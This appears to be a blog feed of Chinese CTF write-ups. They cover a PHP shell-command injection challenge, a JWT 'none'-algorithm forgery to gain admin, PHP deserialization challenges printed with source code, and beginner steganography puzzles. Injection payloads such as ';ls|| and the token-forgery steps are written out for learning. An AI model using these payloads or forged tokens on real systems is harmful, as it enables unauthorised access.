&lt;h2 id="时间管理大师">时间管理大师&lt;/h2>
&lt;p>如果你是24届竞赛组成员，可以先看个代码分析的大概逻辑，不一定需要全看懂。&lt;/p>
&lt;p>先看入口&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-2.png">&lt;/p>
&lt;p>这里的spl_autoload_register搜了一下其实就是注册路由，访问什么就进到什么目录下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-3.png">&lt;/p>
&lt;p>下面的route其实就是定义访问根路径时使用的路由，这里直接定位到controllers/TimeController.php里看一下逻辑&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-4.png">&lt;/p>
&lt;p>传入进来的format被赋值给$format，并被丢到TimeModel里处理了一下，这里跟进一下TimeModel类。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-5.png">&lt;/p>
&lt;p>可以看到$format被直接与&lt;code>date '+&lt;/code>和&lt;code>' 2&amp;amp;1&lt;/code>拼接，其中2&amp;gt;&amp;amp;1的意思是将标准错误重定向到标准输出中，意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果，最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果&lt;/p>
&lt;p>这里我们假设传入进来的内容是 &lt;code>';ls||&lt;/code>，则整句代码会变成这样&lt;/p>
&lt;pre tabindex="0">&lt;code>date &amp;#39;+&amp;#39;;ls|| 2&amp;gt;&amp;amp;1
&lt;/code>&lt;/pre>&lt;p>这样执行起来的结果我们可以在自己的linux里尝试一下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-6.png">&lt;/p>
&lt;p>会发现执行成功。但一开始我想到用 &lt;code>';ls;&lt;/code>这样的方式没有执行成功，提示权限不足，原因是因为闭合后2&amp;gt;&amp;amp;1在等待你的输入但没有得到，所以会提示权限不足。&lt;/p>
&lt;p>还有另一种解法的payload是 &lt;code>';ls|cat '&lt;/code>，这样闭合后的结果如下&lt;/p>
&lt;pre tabindex="0">&lt;code>date &amp;#39;+&amp;#39;;ls|cat &amp;#39;&amp;#39; 2&amp;gt;&amp;amp;1
&lt;/code>&lt;/pre>&lt;p>原理就是将ls的输出用cat显示回来给我们，所以就能达到执行的效果&lt;/p>
&lt;h2 id="没有人比我更懂jwt">没有人比我更懂JWT&lt;/h2>
&lt;p>附件只有一个python文件，先看逻辑&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-7-1024x99.png">&lt;/p>
&lt;p>使用flask框架，定义了secret_key，但是是随机值，应该没法爆破&lt;/p>
&lt;p>并且只有下面两个路由&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-8.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-9.png">&lt;/p>
&lt;p>先来看一下/login&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-10-1024x339.png">&lt;/p>
&lt;p>接收两个变量，username和password，其中username被丢到jwt里进行加密，使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息，也就是role后跟着的内容，也就是role的值，我们先记住。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-11-1024x307.png">&lt;/p>
&lt;p>/flag路由里首先会接收请求这个路由的用户所携带的jwt，然后对其进行解码后检验role的值是否是admin，是的话返回flag，不是就告诉我们只有admin才能访问&lt;/p>
&lt;p>如果只按照代码的登录逻辑，没有找到可以将role值改成admin的地方。所以我们就要手动改，先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json，因为&lt;code>data = request.json&lt;/code>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-12-1024x414.png">&lt;/p>
&lt;p>接着丢到&lt;a href="http://https//jwt.io">jwt.io&lt;/a>里，改成admin，然后复制被赋值完的jwt&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-13-1024x355.png">&lt;/p>
&lt;p>接着我们回到刚刚的代码，注意到一个地方&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-14-1024x33.png">&lt;/p>
&lt;p>这里的options被设置成了不需要验证签名和exp的值，也就是说我们可以将加密算法修改成None，这样就能达到修改了role值还能通过解码的目的。原理如下（原文点击&lt;a href="https://xz.aliyun.com/t/2338?time__1311=n4%2Bxni0%3DG%3DDtd7K4x05DKf44reGQKFDcAmoD">这里&lt;/a>查看）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-15-1024x335.png">&lt;/p>
&lt;p>这里我们需要借助一款工具，&lt;a href="https://github.com/ticarpi/jwt_tool">jwt_tool&lt;/a>。下载后，可以在使用文档中查看如何使用None攻击&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-16-1024x179.png">&lt;/p>
&lt;p>照着格式填进去就可以生成修改后的jwt了&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-18-1024x318.png">&lt;/p>
&lt;p>这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意，根据代码，需要先写上你的用户名，再用一个空格加上jwt。这里我的用户名是1，所以结果就如下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-19-1024x419.png">&lt;/p></description></item><item><title>2024 强网杯 password game | Writeup</title><link>https://redshome.top/posts/2024-11-05-2024-%E5%BC%BA%E7%BD%91%E6%9D%AF-password-game-writeup/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-11-05-2024-%E5%BC%BA%E7%BD%91%E6%9D%AF-password-game-writeup/</guid><description>&lt;p>proxy那题是队友写的我就不记录了，不知道他后面会不会更新:https://blog.hayneschen.top/&lt;/p>
&lt;p>主要想记录password game这题 不听php课的每个人都会受到应有的惩罚&lt;/p>
&lt;p>前面的游戏过程很简单，直接从拿到源码开始看&lt;/p>
&lt;pre tabindex="0">&lt;code>function filter($password){
$filter_arr = array(&amp;#34;admin&amp;#34;,&amp;#34;2024qwb&amp;#34;);
$filter = &amp;#39;/&amp;#39;.implode(&amp;#34;|&amp;#34;,$filter_arr).&amp;#39;/i&amp;#39;;
return preg_replace($filter,&amp;#34;nonono&amp;#34;,$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this-&amp;gt;username==&amp;#34;guest&amp;#34;){
$value();
}
return $this-&amp;gt;username;
}
public function __call($key,$value){
if($this-&amp;gt;username==md5($GLOBALS[&amp;#34;flag&amp;#34;])){
echo $GLOBALS[&amp;#34;flag&amp;#34;];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 &amp;amp;&amp;amp; $this-&amp;gt;value == &amp;#34;2024qwb&amp;#34;){
$this-&amp;gt;value = $GLOBALS[&amp;#34;flag&amp;#34;];
echo md5(&amp;#34;hello:&amp;#34;.$this-&amp;gt;value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this-&amp;gt;username=md5($GLOBALS[&amp;#34;flag&amp;#34;]);
return $this-&amp;gt;password-&amp;gt;guess();
}
public function __destruct(){
if(strpos($this-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 ){
echo &amp;#34;hello&amp;#34;.$this-&amp;gt;username;
}
}
}
$user=unserialize(filter($_POST[&amp;#39;password&amp;#39;]));
if(strpos($user-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 &amp;amp;&amp;amp; $user-&amp;gt;password == &amp;#34;2024qwb&amp;#34;){
echo &amp;#34;hello!&amp;#34;;
}
&lt;/code>&lt;/pre>&lt;p>比赛的时候乍一看感觉挺懵的，和传统的反序化掉用都不太一样，这里先不管反序化时的filter，先来看一下类&lt;/p></description></item><item><title>2024 TKKCTF Beginner | WriteUp</title><link>https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/</link><pubDate>Wed, 23 Oct 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/</guid><description>&lt;blockquote>
&lt;p>学CTF要做到不会的**&lt;em>多搜&lt;/em>**，碰到不会的或者没见过的名词和工具，都能在网路上找到详细的解释和教程，不会一个搜一个。多去尝试自己解决遇到的问题，所有的答案都藏在你曾经也许看都不想看的代码、报错和技术文章里，加油&lt;/p>
&lt;/blockquote>
&lt;h2 id="misc">Misc&lt;/h2>
&lt;h3 id="你好ctf">你好，CTF！&lt;/h3>
&lt;p>flag就在pdf末尾，不解释&lt;/p>
&lt;h3 id="阿娜达瓦">阿娜达瓦～&lt;/h3>
&lt;p>使用gif逐帧播放可以发现二维码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-1-1024x645.png">&lt;/p>
&lt;p>扫描后即可得到flag&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-2.png">&lt;/p>
&lt;h3 id="这是什么">这是什么？&lt;/h3>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-3-1024x391.png">&lt;/p>
&lt;p>在cyberchef中先解base32再解base64即可&lt;/p>
&lt;h3 id="佛说只能四天">佛说：只能四天🙏&lt;/h3>
&lt;p>根据提示搜索与佛论禅在线解密工具&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-5-1024x767.png">&lt;/p>
&lt;p>但发现无法解密，需要输入一个密码，回到题目描述注意到这一串内容&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-4.png">&lt;/p>
&lt;p>输入即可解开&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-6-1024x767.png">&lt;/p>
&lt;h3 id="引导题">引导题&lt;/h3>
&lt;p>尝试复制后发现需要密码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-7-1024x767.png">&lt;/p>
&lt;p>本题解法不唯一，这里介绍两种。&lt;/p>
&lt;p>方法一：搜索在线解锁工具&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-8-1024x557.png">&lt;/p>
&lt;p>解锁后即可直接复制被遮盖的内容。放到cyberchef里梭哈base64即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-9-1024x584.png">&lt;/p>
&lt;p>方法二：如果你是macOS用户，右键搜索即可，不要点拷贝&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-10-1024x584.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-11-1024x584.png">&lt;/p>
&lt;p>一样放到base64解码即可&lt;/p>
&lt;h3 id="小泽">小泽&lt;/h3>
&lt;p>下载图片后使用010editor或者文本编辑器均可，拉到最下面就能发现flag&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-12.png">&lt;/p>
&lt;h3 id="up-and-down">Up and Down&lt;/h3>
&lt;p>将文件下载下来后，可以找到在线工具将文件二进制进行反转，下面我演示linux命令的方式进行反转&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-13.png">&lt;/p>
&lt;p>一行命令即可，本意就是反转文件二进制数据。将输出的图片打开后即可得到flag&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-14-1024x561.png">&lt;/p>
&lt;h3 id="rfid">RFID&lt;/h3>
&lt;p>比赛原题，直接放网上的wp&lt;/p>
&lt;p>&lt;a href="https://blog.mo60.cn/index.php/archives/2023-fjss.html">https://blog.mo60.cn/index.php/archives/2023-fjss.html&lt;/a>&lt;/p>
&lt;h3 id="乱乱的字符">乱乱的字符&lt;/h3>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-15-1024x366.png">&lt;/p>
&lt;p>统计每个字符出现的频率，可以拼出个大概flag。但可以发现有两个字符出现的频率都是7次，也就是A和i。此时回到题目提示&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-16.png">&lt;/p>
&lt;p>猜测是AsCii这个单词，而且这样排序的话正好两个i的出现频率加起来就是7次，符合条件，因此flag就是&lt;/p>
&lt;p>&lt;code>xujc{Ukn0w_AsCii~}&lt;/code>&lt;/p>
&lt;h3 id="void-null-chiikawa">void null() {}、Chiikawa&lt;/h3>
&lt;p>&lt;a href="https://x.xn--q9jyb4c/p/ctf-record-w0w/">https://x.xn&amp;ndash;q9jyb4c/p/ctf-record-w0w/&lt;/a>&lt;/p>
&lt;h3 id="sharkshark">sharkshark&lt;/h3>
&lt;p>安装wireshark即可打开pcapng格式的流量包，ctrl+f4可以调出搜索框，选择分组字节流+字符串多次 搜索xujc，可以在一堆假flag中找到flag24.txt为trueFlag&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-17-1024x620.png">&lt;/p>
&lt;h3 id="好痛">好痛&lt;/h3>
&lt;p>010打开后再中间发现mp3的模板结束了，可以发现后面是zip文件头&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-34-1024x939.png">&lt;/p>
&lt;p>手工分离出来，分离时再尾部还可以发现一个key&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-10-23-2024-tkkctf-beginner-writeup/images/image-35-1024x107.png">&lt;/p>
&lt;p>(原本作者是让做题人根据歌名来猜key，被骂了改附件了qwq) 解压压缩包后那首歌是使用MP3Stego来解码因为歌名奇怪，作者建议先改成1.mp3，然后&lt;/p>
&lt;p>在cmd使用&lt;/p>
&lt;pre tabindex="0">&lt;code>Decode -X -P love 1.mp3
&lt;/code>&lt;/pre>&lt;p>就能得到flag&lt;/p></description></item><item><title>红包题第四期WP-答案竟在派蒙中</title><link>https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/</link><pubDate>Sun, 22 Sep 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/</guid><description>&lt;h1 id="misc-答案竟在派蒙中">Misc-答案竟在派蒙中&lt;/h1>
&lt;h2 id="解题过程">解题过程：&lt;/h2>
&lt;p>&lt;strong>FLAG1:&lt;/strong>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-2.png">&lt;/p>
&lt;p>根据题目提示把派蒙拉开，全选后可以看到有白色字符被选中&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-1.png">&lt;/p>
&lt;p>更改颜色后是一串以等号结尾的编码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-8.png">&lt;/p>
&lt;p>解码得到flag&lt;/p>
&lt;p>&lt;strong>FLAG2:&lt;/strong>&lt;/p>
&lt;p>文档的内容可以确定没有挖掘的内容了，接下来对文件本身进行分析&lt;/p>
&lt;p>可以用010editor工具进行分析结构&lt;/p>
&lt;p>由于docx文件的本质其实是zip压缩文件，但504B0506（zip文件的结束标志）之后依然有数据可以判断文件后方被写入的隐写文件（出题人当时傻逼了忘了是怎么藏的来着，记成是放里面了）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image.jpeg">&lt;/p>
&lt;p>kali的binwalk指令也可以得到一样的结果&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-7.png">&lt;/p>
&lt;p>可以在010中手动分离文件，也可以用foremost分离&lt;/p>
&lt;p>(注意这种压缩包套娃的题binwalk -e有几率出现分不出来的情况所以这里用foremost)&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-4.png">&lt;/p>
&lt;p>分离后的压缩包解压得到小恐龙一只&lt;/p>
&lt;p>这里可以用cat指令查看文件（同理010editor或者记事本打开也可以看到信息）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-5.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-3.png">&lt;/p>
&lt;p>另一个以等号结尾的编码，根据特征判断是base32编码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image.png">&lt;/p>
&lt;p>解码后得到类flag格式的玩意&lt;/p>
&lt;p>由于格式相近推测是凯撒移位加密 枚举后得到flag&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-09-22-%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E5%9B%9B%E6%9C%9Fwp-%E7%AD%94%E6%A1%88%E7%AB%9F%E5%9C%A8%E6%B4%BE%E8%92%99%E4%B8%AD/images/image-6.png">&lt;/p>
&lt;p>尾注：&lt;/p>
&lt;p>关于base家族的特征和其它编码推荐一篇文章&lt;/p>
&lt;p>&lt;a href="https://cloud.tencent.com/developer/article/1748394">https://cloud.tencent.com/developer/article/1748394&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.bilibili.com/video/BV1GJ411x7h7">https://www.bilibili.com/video/BV1GJ411x7h7&lt;/a>&lt;/p></description></item><item><title>CISCN 2019华北Day1 web1</title><link>https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/</link><pubDate>Fri, 28 Jun 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/</guid><description>&lt;p>一道很适合新手入门完整网站项目漏洞挖掘的题目，网上wp多半只讲了利用链和exp，我会从网站逻辑开始分析并写得尽量详细易懂，同样适合新手入门&lt;/p>
&lt;p>复现靶场为nssctf，https://www.nssctf.cn/problem/2 搜题号应该也能搜到&lt;/p>
&lt;h2 id="文件获取">文件获取&lt;/h2>
&lt;p>拿到页面后是个登录框，先注册一个账号登进去看看&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/images/image-14.png">&lt;/p>
&lt;p>进来后是个文件管理的界面&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/images/image-15-1024x112.png">&lt;/p>
&lt;p>随便传个文件&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/images/image-16-1024x149.png">&lt;/p>
&lt;p>这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果，所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/images/image-17.png">&lt;/p>
&lt;p>成功读取。照着这个方法把几个已知页面的代码都读一遍&lt;/p>
&lt;h2 id="网站代码逻辑">网站代码逻辑&lt;/h2>
&lt;p>因为代码比较多，所以这里我这里先介绍一下网站的主要实现逻辑&lt;/p>
&lt;p>我的习惯是从主界面也就是index.php开始看调用，在index.php中可以发现下面这段&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-28-ciscn-2019%E5%8D%8E%E5%8C%97day1-web1-wp/images/image-18.png">&lt;/p>
&lt;p>进入到class.php，查看一下Filelist类&lt;/p>
&lt;pre tabindex="0">&lt;code>class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this-&amp;gt;files = array();
$this-&amp;gt;results = array();
$this-&amp;gt;funcs = array();
$filenames = scandir($path);
$key = array_search(&amp;#34;.&amp;#34;, $filenames);
unset($filenames[$key]);
$key = array_search(&amp;#34;..&amp;#34;, $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file-&amp;gt;open($path . $filename);
array_push($this-&amp;gt;files, $file);
$this-&amp;gt;results[$file-&amp;gt;name()] = array();
}
}
public function __call($func, $args) {
array_push($this-&amp;gt;funcs, $func);
foreach ($this-&amp;gt;files as $file) {
$this-&amp;gt;results[$file-&amp;gt;name()][$func] = $file-&amp;gt;$func();
}
}
public function __destruct() {
$table = &amp;#39;&amp;lt;div id=&amp;#34;container&amp;#34; class=&amp;#34;container&amp;#34;&amp;gt;&amp;lt;div class=&amp;#34;table-responsive&amp;#34;&amp;gt;&amp;lt;table id=&amp;#34;table&amp;#34; class=&amp;#34;table table-bordered table-hover sm-font&amp;#34;&amp;gt;&amp;#39;;
$table .= &amp;#39;&amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;&amp;#39;;
foreach ($this-&amp;gt;funcs as $func) {
$table .= &amp;#39;&amp;lt;th scope=&amp;#34;col&amp;#34; class=&amp;#34;text-center&amp;#34;&amp;gt;&amp;#39; . htmlentities($func) . &amp;#39;&amp;lt;/th&amp;gt;&amp;#39;;
}
$table .= &amp;#39;&amp;lt;th scope=&amp;#34;col&amp;#34; class=&amp;#34;text-center&amp;#34;&amp;gt;Opt&amp;lt;/th&amp;gt;&amp;#39;;
$table .= &amp;#39;&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;&amp;#39;;
foreach ($this-&amp;gt;results as $filename =&amp;gt; $result) {
$table .= &amp;#39;&amp;lt;tr&amp;gt;&amp;#39;;
foreach ($result as $func =&amp;gt; $value) {
$table .= &amp;#39;&amp;lt;td class=&amp;#34;text-center&amp;#34;&amp;gt;&amp;#39; . htmlentities($value) . &amp;#39;&amp;lt;/td&amp;gt;&amp;#39;;
}
$table .= &amp;#39;&amp;lt;td class=&amp;#34;text-center&amp;#34; filename=&amp;#34;&amp;#39; . htmlentities($filename) . &amp;#39;&amp;#34;&amp;gt;&amp;lt;a href=&amp;#34;#&amp;#34; class=&amp;#34;download&amp;#34;&amp;gt;下载&amp;lt;/a&amp;gt; / &amp;lt;a href=&amp;#34;#&amp;#34; class=&amp;#34;delete&amp;#34;&amp;gt;删除&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;#39;;
$table .= &amp;#39;&amp;lt;/tr&amp;gt;&amp;#39;;
}
echo $table;
}
}
&lt;/code>&lt;/pre>&lt;p>从构造函数开始，会发现这里传入了一个path形参&lt;/p></description></item><item><title>SECCON Beginners CTF 2024</title><link>https://redshome.top/posts/2024-06-16-seccon-beginners-ctf-2024/</link><pubDate>Sun, 16 Jun 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-06-16-seccon-beginners-ctf-2024/</guid><description>&lt;p>打seccon的第一年，为了队友的日本旅行梦，跟他们爆了！&lt;/p>
